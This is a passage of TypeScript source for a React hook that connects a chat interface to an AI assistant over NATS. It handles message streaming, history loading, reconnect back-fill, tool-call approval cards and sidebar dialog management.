lifecycle externally; v1+ consumers (the openframe-frontend\n   * EmbeddableChat) leave it undefined and rely on `fetchDialogs`\n   * for sidebar-driven selection.\n   */\n  dialogId?: string | null\n\n  /**\n   * Build the NATS WebSocket URL. Returning `null` short-circuits the\n   * subscription — same contract as `useNatsDialogSubscription`.\n   */\n  getNatsWsUrl: () => string | null\n\n  /**\n   * Optional NATS client auth.\n   */\n  clientConfig?: {\n    name?: string\n    user?: string\n    pass?: string\n  }\n\n  /**\n   * Send a user message upstream. Consumer-owned: typically an\n   * authenticated HTTP POST to the OpenFrame chat endpoint, or a\n   * direct NATS publish to a dedicated subject.\n   *\n   * The adapter does NOT couple to the wire format — it only:\n   *   1. appends the user message to local state for immediate render\n   *   2. flips streamingPhase to 'thinking' so the input UI shows status\n   *   3. calls this callback\n   *\n   * Reply arrives asynchronously as NATS chunks via the live tail and\n   * is accumulated into the trailing assistant message.\n   */\n  publishUserMessage: (\n    text: string,\n    options: { hidden?: boolean; dialogId: string | null },\n  ) => Promise<void> | void\n\n  /**\n   * Historical-chunk fetcher used by `useChunkCatchup` to back-fill\n   * events that happened while the user was in another mode or before\n   * the websocket came online. Consumer-owned: typically a REST GET\n   * against the OpenFrame chat-history endpoint.\n   *\n   * When omitted, `useChunkCatchup` falls back to its own default\n   * fetch implementation — see hook docs for the contract.\n   */\n  fetchChunks?: FetchChunksFunction\n\n  /**\n   * NATS topics to live-tail for the active dialog. Each maps to the\n   * subject suffix `chat.{dialogId}.{topic}` (see\n   * `useNatsDialogSubscription`). Defaults to `['message']` — the\n   * client-chat subject the Tauri Fae Chat consumer relies on. Admin /\n   * Mingo chat publishes its agent replies on `'admin-message'`, so the\n   * openframe EmbeddableChat host MUST set `topics: ['admin-message']`\n   * here — otherwise the subscription tails the wrong subject, no reply\n   * chunks ever arrive, and the assistant placeholder hangs forever in\n   * the `thinking` phase.\n   */\n  topics?: NatsMessageType[]\n\n  /**\n   * Mirrors the reducer's `batchApprovalsEnabled`. Default `true` —\n   * single batch card per APPROVAL_REQUEST with `toolCalls[]`. Set\n   * `false` to fall back to legacy per-tool cards.\n   */\n  batchApprovalsEnabled?: boolean\n\n  /**\n   * Approval types rendered as actionable cards inline. Mirrors the\n   * reducer's `displayApprovalTypes` (default `['CLIENT']`) and is\n   * forwarded to the history processor so both paths agree. Hosts whose\n   * backend emits other types (e.g. `USER`) MUST set this — otherwise\n   * those approvals are escalated to a callback this adapter doesn't\n   * surface and the card never renders.\n   */\n  displayApprovalTypes?: string[]\n\n  // ─── Managed-dialog mode (sidebar + history) ─────────────────────────────\n\n  /**\n   * Fetch a paginated page of dialogs for the sidebar. When provided,\n   * the adapter switches to managed-dialog mode: it owns the active\n   * dialog id, the dialog list, and pagination state. When omitted,\n   * the adapter operates in bare-transport mode (current Tauri Fae\n   * Chat usage) and the sidebar fields on the return value stay empty.\n   */\n  fetchDialogs?: (params: FetchDialogsParams) => Promise<FetchDialogsResult>\n\n  /**\n   * Fetch a page of historical messages for a dialog. Required for\n   * sidebar-driven dialog switching — when omitted, selecting a\n   * dialog brings up an empty thread until streaming starts.\n   *\n   * Messages must arrive in the same wire shape the openframe backend\n   * emits (HistoricalMessage with messageData[]); the adapter feeds\n   * them through `processHistoricalMessagesWithErrors` to produce\n   * reducer-compatible messages.\n   */\n  fetchDialogMessages?: (\n    params: FetchDialogMessagesParams,\n  ) => Promise<FetchDialogMessagesResult>\n\n  /**\n   * Allocate a fresh dialog on the backend. Returns the new dialog id\n   * which the adapter sets as the active dialog. When omitted, the\n   * \"Start new chat\" affordance on the sidebar is hidden (or the host\n   * can implement its own).\n   */\n  createDialog?: () => Promise<{ dialogId: string }>\n\n  /** Delete a dialog from history. When omitted, the sidebar item's\n   *  delete affordance is hidden. */\n  deleteDialog?: (dialogId: string) => Promise<void>\n\n  /** Rename a dialog on the backend. When omitted, the \"Rename\" affordance\n   *  in the chat-history row menu is hidden. */\n  renameDialog?: (dialogId: string, title: string) => Promise<void>\n\n  /** Archive a dialog on the backend (removes it from the active list).\n   *  When omitted, the \"Archive\" affordance in the row menu is hidden. */\n  archiveDialog?: (dialogId: string) => Promise<void>\n\n  /** Fetch a paginated page of ARCHIVED dialogs for the Chat Archive page.\n   *  When omitted, the archive (clock-history) button in the header is\n   *  hidden. Same page/cursor contract as `fetchDialogs`. */\n  fetchArchivedDialogs?: (\n    params: FetchDialogsParams,\n  ) => Promise<FetchDialogsResult>\n\n  /** Restore an archived dialog back to the active list. When omitted, the\n   *  restore (refresh) button in an archived chat's header is hidden. */\n  unarchiveDialog?: (dialogId: string) => Promise<void>\n\n  /**\n   * Approve a pending tool-call request. Wired into the reducer's\n   * approval-card callbacks so card buttons fire this directly. When\n   * omitted, approval cards render disabled buttons.\n   */\n  approveRequest?: (requestId: string) => Promise<void>\n\n  /** Reject counterpart of `approveRequest`. */\n  rejectRequest?: (requestId: string, reason?: string) => Promise<void>\n\n  /**\n   * Cancel in-flight assistant generation. Without this, `stopMessage`\n   * only flips the UI status — the backend continues until the agent\n   * finishes naturally. With this, the backend stops emitting chunks.\n   */\n  stopGeneration?: (dialogId: string) => Promise<void>\n\n  /** Display name for the assistant in historical messages — defaults\n   *  to `'Mingo'`. */\n  assistantName?: string\n\n  /**\n   * GraphQL `chatType` discriminator to filter historical messages by.\n   * When set, `processHistoricalMessagesWithErrors` skips messages\n   * whose `chatType` doesn't match. Openframe-frontend uses\n   * `'ADMIN_AI_CHAT'` here.\n   */\n  chatTypeFilter?: string\n\n  /** Default page size for dialog list pagination. Defaults to 20. */\n  dialogsPageSize?: number\n\n  /** Default page size for message history pagination. Defaults to 50. */\n  messagesPageSize?: number\n\n  /**\n   * Baseline model display for the composer's `<ModelDisplay>` — used as the\n   * empty-state fallback before any streaming `metadata` frame arrives (e.g.\n   * a brand-new chat). The host typically sources these from its AI-config\n   * endpoint. Live `metadata` frames refine them per-turn. NATS-only; SSE\n   * (guide) derives its own model from the stream.\n   */\n  modelProvider?: string | null\n  modelLabel?: string | null\n}\n\n/**\n * Per-call options for `useNatsChatAdapter`. Carries only the\n * activation gate — config travels through the config object so it\n * survives mode swaps without re-mounting.\n */\nexport interface UseNatsChatAdapterOptions {\n  /**\n   * When `false` the adapter goes idle: no NATS subscription, no\n   * catchup fetch, no publish. Local message state is preserved so\n   * the user sees their history when the mode flips back to active.\n   * Default `true`.\n   */\n  active?: boolean\n}\n\n// =============================================================================\n// Historical-message mapping helpers (host-facing)\n// =============================================================================\n\n/**\n * Map `ProcessedMessage` (lib's historical-message format) into\n * `UnifiedChatMessage` (the unified-chat-state contract). Only `user`\n * and `assistant` roles round-trip; `error` is dropped on the floor\n * here because the unified contract surfaces errors as banners, not\n * inline messages. (Hosts that need inline error bubbles can extend\n * the contract later.)\n *\n * Exported for host reuse (e.g. scripted marketing demos that rehydrate a\n * stored `HistoricalMessage[]` via `processHistoricalMessagesWithErrors` and\n * feed a `previewMode` EmbeddableChat). This mapper carries the segment/content\n * shape only; author identity (name/avatar/authorType/timestamp) that a host\n * needs for the demo is re-attached by the host from the same processed rows.\n */\nexport function mapProcessedToUnified(\n  processed: Array<{\n    id: string\n    role: 'user' | 'assistant' | 'error'\n    content: string | MessageSegment[]\n    name?: string\n  }>,\n): UnifiedChatMessage[] {\n  const out: UnifiedChatMessage[] = []\n  for (const m of processed) {\n    if (m.role === 'error') continue\n    if (Array.isArray(m.content)) {\n      out.push({\n        id: m.id,\n        role: m.role,\n        content: '',\n        segments: m.content,\n      })\n    } else {\n      out.push({\n        id: m.id,\n        role: m.role,\n        content: m.content,\n      })\n    }\n  }\n  return out\n}\n\n/**\n * ONE-CALL `HistoricalMessage[]` -> `UnifiedChatMessage[]` for hosts replaying a\n * stored conversation outside the live adapter (scripted marketing demos, a\n * `previewMode` EmbeddableChat). Does the full pipeline the adapter does inline:\n * `processHistoricalMessagesWithErrors` -> `mapProcessedToUnified` -> re-attach\n * the author identity (name / avatar / authorType / timestamp) the segment\n * mapper drops. Hosts no longer hand-roll the two-step + re-attach.\n */\nexport function historicalToUnified(\n  messages: HistoricalMessage[],\n  options: MessageProcessingOptions = {},\n): UnifiedChatMessage[] {\n  const { messages: processed } = processHistoricalMessagesWithErrors(messages, options)\n  const byId = new Map(processed.map((p) => [p.id, p]))\n  return mapProcessedToUnified(processed).map((u) => {\n    const p = byId.get(u.id)\n    return p\n      ? { ...u, name: p.name, avatar: p.avatar ?? null, authorType: p.authorType, timestamp: p.timestamp }\n      : u\n  })\n}\n\n// =============================================================================\n// Hook\n// =============================================================================\n\n/** Store key for the draft (\"no dialog selected\") state. */\nconst DRAFT_DIALOG_KEY = '__draft__'\n\nexport function useNatsChatAdapter(\n  config: UseNatsChatAdapterConfig,\n  options: UseNatsChatAdapterOptions = {},\n): UnifiedChatState {\n  const { active = true } = options\n  const {\n    dialogId: controlledDialogId,\n    getNatsWsUrl,\n    clientConfig,\n    publishUserMessage,\n    fetchChunks,\n    topics,\n    batchApprovalsEnabled,\n    displayApprovalTypes,\n    fetchDialogs,\n    fetchDialogMessages,\n    createDialog: createDialogCallback,\n    deleteDialog: deleteDialogCallback,\n    renameDialog: renameDialogCallback,\n    archiveDialog: archiveDialogCallback,\n    approveRequest: approveRequestCallback,\n    rejectRequest: rejectRequestCallback,\n    stopGeneration: stopGenerationCallback,\n    assistantName = 'Mingo',\n    chatTypeFilter,\n    dialogsPageSize = 20,\n    messagesPageSize = 50,\n    modelProvider = null,\n    modelLabel = null,\n  } = config\n\n  // ─── Active dialog id resolution ──────────────────────────────────────────\n  // The discriminator is *capability*, not *value*: when the host wires\n  // `fetchDialogs` we know they want the adapter to own the dialog list,\n  // active id, and sidebar wiring. Any `controlledDialogId` they pass in\n  // that mode is ignored (host shouldn't be fighting the adapter for\n  // selection). When `fetchDialogs` is absent (Tauri Fae Chat) the adapter\n  // is in bare-transport mode and the host's `dialogId` is the source of\n  // truth — including `null`, which means \"no dialog selected, idle WS\".\n\n  const isManagedMode = fetchDialogs !== undefined\n  const [internalDialogId, setInternalDialogId] = useState<string | null>(null)\n  const dialogId = isManagedMode\n    ? internalDialogId\n    : controlledDialogId !== undefined\n    ? controlledDialogId\n    : null\n\n  // Render-synchronous mirror of the active dialog. Async continuations\n  // (reconnect back-fill, catchup finallys) capture `dialogId` at start and\n  // compare against this ref when they resume — a continuation whose dialog\n  // is no longer active must not touch the new dialog's flags.\n  const currentDialogIdRef = useRef<string | null>(dialogId)\n  currentDialogIdRef.current = dialogId\n\n  // ─── Approval handlers ────────────────────────────────────────────────────\n  // Defined before the reducer so the reducer's create-options can wire the\n  // approval-card buttons. Optimistically flip status before the network\n  // round-trip so the card reflects the user's choice immediately.\n\n  const handleApproveRef = useRef<(requestId: string) => Promise<void>>(async () => {})\n  const handleRejectRef = useRef<(requestId: string, reason?: string) => Promise<void>>(\n    async () => {},\n  )\n\n  // Reducer-card adapters. The card contract is `(requestId?) => void |\n  // Promise<void>` — single optional arg; narrow at the boundary.\n  const accumApprove = useCallback((requestId?: string): void | Promise<void> => {\n    if (!requestId) return\n    return handleApproveRef.current(requestId)\n  }, [])\n  const accumReject = useCallback((requestId?: string): void | Promise<void> => {\n    if (!requestId) return\n    return handleRejectRef.current(requestId)\n  }, [])\n\n  // ─── THE reducer (master stream reader) ───────────────────────────────────\n  // One `ChatDialogStore` per adapter instance; one reducer per dialog.\n  // Approval statuses are request-id-keyed and GLOBAL across dialogs (a\n  // resolved approval must not resurrect as actionable after a dialog\n  // switch), so the adapter accumulates them into a ref that seeds every\n  // newly-created per-dialog reducer.\n\n  const storeRef = useRef(createChatDialogStore())\n  const globalApprovalStatusesRef = useRef<Record<string, ChatApprovalStatus>>({})\n  const dialogKey = dialogId ?? DRAFT_DIALOG_KEY\n\n  const { state, applyEvent, mutate } = useChatStreamReducer({\n    store: storeRef.current,\n    dialogId: dialogKey,\n    createReducerOptions: () => ({\n      transport: 'nats',\n      batchApprovalsEnabled,\n      ...(displayApprovalTypes ? { displayApprovalTypes } : {}),\n      approvalStatuses: globalApprovalStatusesRef.current,\n      callbacks: { onApprove: accumApprove, onReject: accumReject },\n    }),\n  })\n\n  // Accumulate resolved statuses globally (render-time merge is cheap and\n  // keeps the ref current for the next dialog's reducer seed).\n  globalApprovalStatusesRef.current = {\n    ...globalApprovalStatusesRef.current,\n    ...state.approvalStatuses,\n  }\n\n  // Live handleApprove/handleReject bodies (need `mutate` + state access).\n  handleApproveRef.current = async (requestId: string) => {\n    if (!approveRequestCallback) return\n    // Approval hands the turn back to the agent — lock the composer now\n    // rather than waiting for the APPROVAL_RESULT/EXECUTING_TOOL chunks.\n    // Remember whether THIS click took the lock: if the phase was already\n    // busy (another approval's command executing), a failure of this\n    // request must not release a lock it doesn't own.\n    const store = storeRef.current\n    const key = dialogKey\n    const tookLock = store.mutate(key, DEFAULT_DIALOG_SIDE, (r) => {\n      const took = r.state.streamingPhase === 'idle'\n      r.setApprovalStatus(requestId, 'approved')\n      if (took) r.setPhase('thinking')\n      return took\n    })\n    try {\n      await approveRequestCallback(requestId)\n    } catch (err) {\n      // Revert the optimistic flip on failure so the user can retry.\n      store.mutate(key, DEFAULT_DIALOG_SIDE, (r) => {\n        r.setApprovalStatus(requestId, null)\n        if (tookLock && r.state.streamingPhase === 'thinking') r.setPhase('idle')\n      })\n      console.error('[useNatsChatAdapter] approveRequest failed:', err)\n    }\n  }\n  handleRejectRef.current = async (requestId: string, reason?: string) => {\n    if (!rejectRequestCallback) return\n    // Deliberately NO phase lock here (asymmetric with approve): rejection\n    // keeps the composer free so the user can type a correction right away —\n    // the reducer's `approved`-only agent-busy gate is the same asymmetry.\n    const store = storeRef.current\n    const key = dialogKey\n    store.mutate(key, DEFAULT_DIALOG_SIDE, (r) => r.setApprovalStatus(requestId, 'rejected'))\n    try {\n      await rejectRequestCallback(requestId, reason)\n    } catch (err) {\n      store.mutate(key, DEFAULT_DIALOG_SIDE, (r) => r.setApprovalStatus(requestId, null))\n      console.error('[useNatsChatAdapter] rejectRequest failed:', err)\n    }\n  }\n\n  // Decode + apply — the ONLY chunk entry point (catchup routes the live\n  // tail through here too, so buffering/dedupe stay consistent).\n  const processChunk = useCallback(\n    (chunk: unknown) => {\n      const event = decodeNatsChunk(chunk)\n      if (event) applyEvent(event)\n    },\n    [applyEvent],\n  )\n\n  // ─── Dialog list state (managed-dialog mode only) ─────────────────────────\n\n  const [dialogs, setDialogs] = useState<DialogItem[]>([])\n  const [dialogsNextCursor, setDialogsNextCursor] = useState<string | null>(null)\n  const [isDialogsLoading, setIsDialogsLoading] = useState<boolean>(false)\n  const [dialogsError, setDialogsError] = useState<boolean>(false)\n  const [isCreatingDialog, setIsCreatingDialog] = useState<boolean>(false)\n\n  // ─── Message-history pagination ───────────────────────────────────────────\n\n  const [messagesNextCursor, setMessagesNextCursor] = useState<string | null>(null)\n  const [isMessagesLoading, setIsMessagesLoading] = useState<boolean>(false)\n\n  // ─── Connection state ─────────────────────────────────────────────────────\n\n  const [connectionState, setConnectionState] =\n    useState<ChatConnectionState>('connecting')\n\n  // Set after the first successful NATS connect. Later 'connected' events are\n  // RECONNECTS: plain NATS replays nothing, so the adapter must back-fill the\n  // disconnect gap via `resetAndCatchUp` or those chunks are lost forever.\n  const hasConnectedOnceRef = useRef(false)\n\n  // History catchup — back-fills chunks emitted while the adapter was\n  // inactive or before the WS came online.\n  const {\n    processChunk: catchupProcessChunk,\n    catchUpChunks,\n    startInitialBuffering,\n    resetChunkTracking,\n    resetAndCatchUp,\n    isBufferingActive,\n  } = useChunkCatchup({\n    dialogId: active ? dialogId : null,\n    onChunkReceived: (chunk: ChunkData) => processChunk(chunk),\n    fetchChunks,\n  })\n\n  // ─── Historical message hydration ─────────────────────────────────────────\n  // When the active dialog changes AND a `fetchDialogMessages` callback\n  // is wired, load the first page of history, process it through the\n  // history decoder + envelope, and seed the reducer. Streaming chunks for\n  // the same dialog then append on top.\n\n  // Monotonic guard: each history load captures a sequence number; when a\n  // response resolves, it only applies if it's still the latest request. This\n  // prevents a slow response for a previously-selected dialog from clobbering\n  // the state of the dialog the user just switched to.\n  const historyLoadSeqRef = useRef(0)\n\n  const loadDialogHistory = useCallback(\n    async (id: string, cursor?: string): Promise<void> => {\n      if (!fetchDialogMessages) return\n      historyLoadSeqRef.current += 1\n      const seq = historyLoadSeqRef.current\n      const store = storeRef.current\n      setIsMessagesLoading(true)\n      try {\n        const result = await fetchDialogMessages({\n          dialogId: id,\n          cursor,\n          limit: messagesPageSize,\n        })\n        // Ignore stale responses superseded by a newer dialog selection.\n        if (seq !== historyLoadSeqRef.current) return\n        const { messages: rawProcessed } = processHistoricalMessagesWithErrors(\n          result.messages,\n          {\n            assistantName,\n            assistantType: 'mingo',\n            chatTypeFilter,\n            onApprove: accumApprove,\n            onReject: accumReject,\n            approvalStatuses: store.getSnapshot(id).approvalStatuses,\n            batchApprovalsEnabled,\n            ...(displayApprovalTypes ? { displayApprovalTypes } : {}),\n          },\n        )\n        const unified = mapProcessedToUnified(rawProcessed)\n        store.mutate(id, DEFAULT_DIALOG_SIDE, (r) => {\n          if (cursor === undefined) {\n            // First page — replace. When the trailing assistant is an\n            // INCOMPLETE turn, the catchup replay will re-stream it from its\n            // MESSAGE_START — let that stream adopt (replace) the partial\n            // bubble instead of opening a duplicate one.\n            // Gated on an ACTIVE catchup buffer: when the catchup already\n            // finalized before this history page resolved, no replay is\n            // coming to consume the flag — arming it anyway would hand the\n            // adoption to the NEXT genuine turn, which would overwrite the\n            // partial bubble instead of opening a fresh one.\n            // `extractIncompleteTailState` (not the single-row extractor):\n            // one logical turn can span several trailing assistant bubbles,\n            // so the unfinished artifact may sit above the last row.\n            r.armAdoptTrailingAssistant(\n              isBufferingActive() && extractIncompleteTailState(rawProcessed) !== undefined,\n            )\n            // `initializeWithState`, NOT the raw `setMessages` setter: it also\n            // derives `resumed` from the restored thread, and that flag is what\n            // makes a chunk arriving with no preceding `turn-start` APPEND to\n            // the hydrated bubble instead of replacing its segments. With\n            // `setMessages` the reducer still looked cold, so the first such\n            // chunk — routine, since the turn can open server-side before we\n            // subscribe, and the chunk store expires past ~10 min so the replay\n            // may deliver nothing — wiped the restored bubble. A pending\n            // approval card in that bubble went with it, leaving the agent\n            // blocked on a control the user could no longer see. The SSE\n            // adapter always hydrated through this door; now both do.\n            r.initializeWithState(unified)\n          } else {\n            // Older page — prepend.\n            r.prependMessages(unified)\n          }\n          if (result.tokenUsage !== undefined) {\n            r.setDialogTokenUsage(result.tokenUsage ?? null)\n          }\n        })\n        setMessagesNextCursor(result.nextCursor)\n      } catch (err) {\n        console.error('[useNatsChatAdapter] fetchDialogMessages failed:', err)\n      } finally {\n        // Only the latest request owns the loading flag — a superseded one\n        // must not clear it while the newer load is still in flight.\n        if (seq === historyLoadSeqRef.current) {\n          setIsMessagesLoading(false)\n        }\n      }\n    },\n    [\n      fetchDialogMessages,\n      messagesPageSize,\n      assistantName,\n      chatTypeFilter,\n      batchApprovalsEnabled,\n      displayApprovalTypes,\n      accumApprove,\n      accumReject,\n      isBufferingActive,\n    ],\n  )\n\n  // Reset + reload when the active dialog changes.\n  const prevDialogIdRef = useRef<string | null | undefined>(undefined)\n  useEffect(() => {\n    if (prevDialogIdRef.current === dialogId) return\n    prevDialogIdRef.current = dialogId\n\n    // Invalidate any in-flight history load for the previous dialog. Bumping\n    // here (not only inside loadDialogHistory) covers the clear/delete path\n    // — switching to a null/empty dialog never starts a new load, so without\n    // this an in-flight response could repopulate the just-cleared state.\n    historyLoadSeqRef.current += 1\n\n    // Clean slate for the (re)entered dialog: thread, per-turn kernel,\n    // participant dedup sets, seq gate, phase. Approval statuses survive\n    // per-reducer AND get topped up with the adapter's global map (request\n    // ids are dialog-independent).\n    storeRef.current.mutate(dialogKey, DEFAULT_DIALOG_SIDE, (r) => {\n      r.resetForDialogSwitch()\n      // Canonical precedence lives in the reducer: persisted (the adapter's\n      // global map) fills gaps, stream-learned statuses always win.\n      r.mergeApprovalStatuses(globalApprovalStatusesRef.current)\n    })\n    // No load runs when there's no active dialog, so clear the flag here;\n    // otherwise the superseded load's guarded `finally` leaves it stuck on.\n    setMessagesNextCursor(null)\n    setIsMessagesLoading(false)\n\n    if (!active || !dialogId) return\n\n    // Hydrate history first; then catchup will fold in any chunks that\n    // landed between the history snapshot and the live tail.\n    void loadDialogHistory(dialogId)\n  }, [active, dialogId, dialogKey, loadDialogHistory])\n\n  // Trigger initial chunk backfill whenever a fresh dialog activates.\n  // Runs alongside history hydration — history seeds processed messages,\n  // catchup buffers raw chunks in case the WS came online after history\n  // was already snapshotted.\n  useEffect(() => {\n    if (!active || !dialogId) return\n    const store = storeRef.current\n    // Gate agent-busy locks for the replay window: a dead tail (approval\n    // approved / tool started, then Stop or a crash) replays its\n    // APPROVAL_RESULT / EXECUTING_TOOL chunks on every dialog (re)open, and\n    // the releasing MESSAGE_END never replays — locking the composer\n    // forever. The suppression is a COUNTER inside the reducer: the\n    // initial-catchup window and a reconnect back-fill window can overlap.\n    store.mutate(dialogId, DEFAULT_DIALOG_SIDE, (r) => r.adjustAgentBusySuppression(1))\n    resetChunkTracking()\n    startInitialBuffering()\n    catchUpChunks()\n      .catch((err) => {\n        console.error('[useNatsChatAdapter] initial catchup failed:', err)\n      })\n      .finally(() => {\n        store.mutate(dialogId, DEFAULT_DIALOG_SIDE, (r) => {\n          r.adjustAgentBusySuppression(-1)\n          // The adopt-once flag targets the replayed MESSAGE_START of the\n          // incomplete history tail. When the replay produced none (chunk\n          // store expired past its ~10-min retention / empty), the armed\n          // flag would survive and make the NEXT genuine turn adopt-and-\n          // overwrite the partial bubble.\n          r.armAdoptTrailingAssistant(false)\n        })\n      })\n  }, [active, dialogId, resetChunkTracking, startInitialBuffering, catchUpChunks])\n\n  // ─── Live NATS subscription ───────────────────────────────────────────────\n  // Gated on `active` and a non-null dialogId so the consumer doesn't pay\n  // socket cost before a conversation exists.\n\n  useNatsDialogSubscription({\n    enabled: active && dialogId != null,\n    dialogId,\n    // Subject suffix to tail. Omitted → the hook defaults to `['message']`\n    // (client chat). Admin/Mingo hosts pass `['admin-message']` so the\n    // live tail lands on the subject the agent actually publishes to.\n    ...(topics ? { topics } : {}),\n    getNatsWsUrl,\n    clientConfig,\n    onEvent: (payload: unknown, messageType: NatsMessageType) => {\n      // Route via catchup so the buffer/dedupe logic stays consistent\n      // with historical playback. `useChunkCatchup` itself forwards to\n      // `processChunk` once dedupe checks pass.\n      catchupProcessChunk(payload as ChunkData, messageType)\n      // First successful event marks the connection as up.\n      setConnectionState('connected')\n    },\n    onConnect: () => {\n      // Plain NATS pub/sub has no replay: chunks published while the socket\n      // was down are gone unless we back-fill. The FIRST connect is covered\n      // by the initial catchup effect; every later one is a reconnect.\n      if (!hasConnectedOnceRef.current) {\n        hasConnectedOnceRef.current = true\n        return\n      }\n      const store = storeRef.current\n      const reconnectDialogId = dialogId\n      if (reconnectDialogId) {\n        store.mutate(reconnectDialogId, DEFAULT_DIALOG_SIDE, (r) =>\n          r.adjustAgentBusySuppression(1),\n        )\n      }\n      // Buffer live deliveries for the WHOLE back-fill, including the history\n      // await — otherwise chunks landing mid-fetch are processed unbuffered\n      // (advancing lastSequenceId + dedup keys) and the history replace then\n      // wipes their content with no way to replay them. `resetAndCatchUp`\n      // keeps an already-active buffer, so nothing collected here is lost.\n      startInitialBuffering()\n      void (async () => {\n        try {\n          // History FIRST: the backend never stores DIRECT_MESSAGE/SYSTEM\n          // chunks in its catchup store (instant types go straight to Mongo),\n          // so the chunk back-fill can't recover them — the persisted history\n          // page is the only source. Then replay the unsaved chunk tail on\n          // top of the fresh snapshot.\n          if (reconnectDialogId && fetchDialogMessages) {\n            await loadDialogHistory(reconnectDialogId)\n          }\n          // The user may have switched dialogs during the await — the new\n          // dialog's own effects run their catchup cycle; re-running it here\n          // would reset that cycle mid-flight.\n          if (reconnectDialogId !== currentDialogIdRef.current) return\n          await resetAndCatchUp()\n        } catch (err) {\n          console.error('[useNatsChatAdapter] reconnect catchup failed:', err)\n        } finally {\n          if (reconnectDialogId) {\n            store.mutate(reconnectDialogId, DEFAULT_DIALOG_SIDE, (r) => {\n              r.adjustAgentBusySuppression(-1)\n              // The adopt-once flag targets the replayed MESSAGE_START of the\n              // incomplete tail — but on reconnect that START was already\n              // consumed live and is dedup-skipped by the replay, so it never\n              // fires. Clear the flag or the NEXT genuine turn adopts (and\n              // overwrites) the completed trailing bubble.\n              r.armAdoptTrailingAssistant(false)\n            })\n          }\n        }\n      })()\n    },\n  })\n\n  // Without a finer hook signal we treat \"active + dialog selected\" as\n  // connecting until the first event lands, and \"no dialog\" as idle-\n  // connected (nothing to subscribe to anyway).\n  useEffect(() => {\n    if (!active || !dialogId) {\n      setConnectionState('connected')\n      return\n    }\n    setConnectionState('connecting')\n  }, [active, dialogId])\n\n  // ─── Dialog list management (managed-dialog mode) ─────────────────────────\n\n  // Forward-declared so `loadDialogsPage` can reset the initial-load guard on\n  // a first-page failure (enabling retry / auto-retry on re-activation).\n  const initialDialogsLoadedRef = useRef(false)\n\n  const loadDialogsPage = useCallback(\n    async (cursor?: string): Promise<void> => {\n      if (!fetchDialogs) return\n      setIsDialogsLoading(true)\n      // Clear a prior first-page error when (re)loading the first page.\n      if (cursor === undefined) setDialogsError(false)\n      try {\n        const result = await fetchDialogs({\n          cursor,\n          limit: dialogsPageSize,\n        })\n        setDialogsNextCursor(result.nextCursor)\n        if (cursor === undefined) {\n          setDialogs(result.dialogs)\n        } else {\n          setDialogs((prev) => [...prev, ...result.dialogs])\n        }\n      } catch (err) {\n        console.error('[useNatsChatAdapter] fetchDialogs failed:', err)\n        // Only the FIRST page failing is a \"can't show the list\" error — a\n        // pagination failure keeps the already-loaded list intact. Flag it and\n        // release the initial-load guard so a retry (or re-activation) re-runs.\n        if (cursor === undefined) {\n          setDialogsError(true)\n          initialDialogsLoadedRef.current = false\n        }\n      } finally {\n        setIsDialogsLoading(false)\n      }\n    },\n    [fetchDialogs, dialogsPageSize],\n  )\n\n  // Retry the initial dialog-list load after a failure.\n  const reloadDialogs = useCallback(() => {\n    void loadDialogsPage()\n  }, [loadDialogsPage])\n\n  // Initial dialog list load.\n  useEffect(() => {\n    if (!fetchDialogs) return\n    if (!active) return\n    if (initialDialogsLoadedRef.current) return\n    initialDialogsLoadedRef.current = true\n    void loadDialogsPage()\n  }, [active, fetchDialogs, loadDialogsPage])\n\n  // ─── Public action handlers ───────────────────────────────────────────────\n\n  const sendMessage = useCallback(\n    async (\n      text: string,\n      sendOptions?: UnifiedSendMessageOptions,\n    ): Promise<void> => {\n      const hidden = sendOptions?.hidden ?? false\n\n      // Optimistically append the user bubble + an empty assistant\n      // placeholder, record the echo text, and flip the phase — all inside\n      // the reducer. The assistant body fills in as NATS chunks land.\n      mutate((r) => r.pushOptimisticSend(text, hidden))\n\n      await publishUserMessage(text, { hidden, dialogId })\n    },\n    [mutate, publishUserMessage, dialogId],\n  )\n\n  const stopMessage = useCallback(() => {\n    // Best-effort UI flip. The actual backend cancellation is gated on\n    // the host-supplied callback.\n    mutate((r) => r.setPhase('idle'))\n    if (stopGenerationCallback && dialogId) {\n      void stopGenerationCallback(dialogId).catch((err) => {\n        console.error('[useNatsChatAdapter] stopGeneration failed:', err)\n      })\n    }\n  }, [mutate, stopGenerationCallback, dialogId])\n\n  const clearMessages = useCallback(() => {\n    mutate((r) => r.clearThread())\n  }, [mutate])\n\n  const selectDialog = useCallback(\n    (id: string | null) => {\n      if (!isManagedMode) {\n        // Bare-transport mode: the host owns dialog id externally. No-op\n        // here so we don't compete with the host's own state machine.\n        // Hosts wanting EmbeddableChat-driven selection should wire\n        // `fetchDialogs` to flip the adapter into managed-dialog mode.\n        return\n      }\n      setInternalDialogId(id)\n    },\n    [isManagedMode],\n  )\n\n  const startNewDialog = useCallback(async (): Promise<string | null> => {\n    if (!createDialogCallback) return null\n    if (isCreatingDialog) return null\n    try {\n      setIsCreatingDialog(true)\n      const result = await createDialogCallback()\n      // Optimistically prepend a placeholder dialog so the sidebar shows\n      // the new conversation immediately. The next list refresh will\n      // replace it with the canonical entry.\n      setDialogs((prev) => [\n        {\n          id: result.dialogId,\n          title: 'New Chat',\n          timestamp: new Date(),\n        },\n        ...prev.filter((d) => d.id !== result.dialogId),\n      ])\n      if (isManagedMode) {\n        setInternalDialogId(result.dialogId)\n      }\n      return result.dialogId\n    } catch (err) {\n      console.error('[useNatsChatAdapter] createDialog failed:', err)\n      return null\n    } finally {\n      setIsCreatingDialog(false)\n    }\n  }, [createDialogCallback, isCreatingDialog, isManagedMode])\n\n  const deleteDialog = useCallback(\n    async (id: string): Promise<void> => {\n      if (!deleteDialogCallback) return\n      try {\n        await deleteDialogCallback(id)\n        setDialogs((prev) => prev.filter((d) => d.id !== id))\n        storeRef.current.remove(id)\n        if (isManagedMode && internalDialogId === id) {\n          setInternalDialogId(null)\n        }\n      } catch (err) {\n        console.error('[useNatsChatAdapter] deleteDialog failed:', err)\n      }\n    },\n    [deleteDialogCallback, internalDialogId, isManagedMode],\n  )\n\n  const renameDialog = useCallback(\n    async (id: string, title: string): Promise<void> => {\n      if (!renameDialogCallback) return\n      // Optimistic — update the local title immediately, roll back on error.\n      let previous: string | undefined\n      setDialogs((prev) =>\n        prev.map((d) => {\n          if (d.id !== id) return d\n          previous = d.title\n          return { ...d, title }\n        }),\n      )\n      try {\n        await renameDialogCallback(id, title)\n      } catch (err) {\n        console.error('[useNatsChatAdapter] renameDialog failed:', err)\n        if (previous !== undefined) {\n          setDialogs((prev) =>\n            prev.map((d) => (d.id === id ? { ...d, title: previous! } : d)),\n          )\n        }\n      }\n    },\n    [renameDialogCallback],\n  )\n\n  const 